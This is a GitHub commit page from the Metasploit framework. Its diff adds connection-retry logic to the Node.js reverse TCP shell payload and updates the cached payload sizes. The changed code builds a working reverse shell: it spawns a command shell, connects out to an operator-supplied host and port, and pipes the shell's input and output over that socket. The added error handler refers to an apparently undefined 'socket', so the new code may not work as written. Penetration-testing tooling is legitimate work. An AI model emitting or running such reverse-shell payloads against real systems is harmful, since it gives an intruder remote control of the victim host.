Skip to content

Commit b04f5bd

Browse files
committed
Land rapid7#9077, Enhancing the functionality on the nodejs shell_reverse_tcp payload.
2 parents c67a587 + 9afc8b5 commit b04f5bd

File tree

4 files changed

+16
-5
lines changed

4 files changed

+16
-5
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,16 +56,27 @@ def nodejs_reverse_tcp(opts={})
5656
util = require("util"),
5757
sh = cp.spawn(cmd, []);
5858
var client = this;
59-
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
59+
var counter=0;
60+
function StagerRepeat(){
61+
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
6062
client.socket.pipe(sh.stdin);
6163
if (typeof util.pump === "undefined") {
6264
sh.stdout.pipe(client.socket);
63-
sh.stderr.pipe(client.socket);
65+
sh.stderr.pipe(client.socket);
6466
} else {
6567
util.pump(sh.stdout, client.socket);
6668
util.pump(sh.stderr, client.socket);
6769
}
6870
});
71+
socket.on("error", function(error) {
72+
counter++;
73+
if(counter<= #{datastore['StagerRetryCount']}){
74+
setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
75+
} else
76+
process.exit();
77+
});
78+
}
79+
StagerRepeat();
6980
})();
7081
EOS
7182
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 2423
13+
CachedSize = 3239
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 601
16+
CachedSize = 805
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 629
13+
CachedSize = 833
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

0 commit comments

Comments
 (0)